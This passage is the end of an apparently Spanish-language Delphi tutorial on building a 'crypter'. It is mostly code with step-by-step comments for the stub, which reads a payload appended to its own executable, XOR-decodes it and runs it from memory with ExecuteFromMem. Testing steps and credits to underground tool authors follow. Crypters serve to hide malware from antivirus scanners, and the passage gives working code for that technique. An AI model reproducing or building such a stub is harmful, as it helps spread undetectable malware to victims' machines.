// Thanks to ecfisa for the help
var
numero1: integer ; // Declaramos la variable "numero1" como integer
numero2: integer ; // Declaramos la variable "numero2" como integer
begin
texto : = texto + separador; // Concatenamos la variable "texto" y "separador"
numero2 : = Pos ( separador, texto) ; // Calculamos la posicion de "separador" en
// la variable "texto"
numero1 : = 1 ; // Establecemos la variable "numero1" como "1"
while numero1 <= numero2 do
// Mientras "numero1" sea menor o igual a "numero2" ...
begin
SetLength ( resultado, Length ( resultado) + 1 ) ;
// Establecemos la longitud de resultado
// a la longitud de la variable "resultado" mas "1"
resultado[ High ( resultado) ] : = Copy ( texto, numero1, numero2 - numero1) ;
// Establecemos la variable "resultado" como la copia de las variables "texto",
// "numero1" y la resta de las variables "numero2" y "numero1"
numero1 : = numero2 + Length ( separador) ;
// Establecemos la variable "numero1" como
// la suma de la variable "numero2" y la longitud de ña variable "separador"
numero2 : = PosEx( separador, texto, numero1) ; // Calculamos la posicion de de
// "separador" en el variable "texto"
end ;
end ;
Ahora agregamos el siguiente codigo entre el begin principal.
El codigo :
var
todo: string ; // Declaramos la variable "todo" como string
codigo: string ; // Declaramos la variable "codigo" como string
key: string ; // Declaramos la variable "key" como string
datos: otro_array; // Declaramos la variable "datos" como otro_array
begin
todo : = leer_datos( paramstr ( 0 ) , '-acatoy1-' , '-acatoy2-' ) ; // Leemos los datos
// del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"
regex2( todo, '-barra-' , datos) ;
// Separamos los delimitadores que estan separados
// por "-barra-" en la variable "todo"
key : = datos[ 2 ] ;
// Establecemos como "key" la segunda posicion del array "datos"
codigo : = datos[ 1 ] ;
// Establecemos como "codigo" la primera posicion del array
// "datos"
codigo : = xor_now( codigo, StrToInt ( key) ) ; // Establecemos como "codigo"
// la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
// guardamos en la variable "codigo"
ExecuteFromMem( paramstr ( 0 ) , '' , Pchar ( codigo) ) ;
// Ejecutamos el codig en memoria
// usando la funcion "ExecuteFromMem"
end .
Una imagen de como deberia quedarles el codigo :
Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.
0x04 : Probando el Crypter
Para probar el Crypter vamos a probarlo con una copia del programa mismo para cifrar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa cifrado , simplemente lo abrimos y veremos el builder cifrado.
Unas imagenes :
Con ven el Crypter funciona correctamente.
0x05 : Creditos
OP Crypter by Xash .
uExecFromMem by steve10120 - fixed for Win7x64 by testest .
Eso seria todo.
--========--
The End ?
--========--
Version PDF .
Version en VideoTutorial :
VIDEO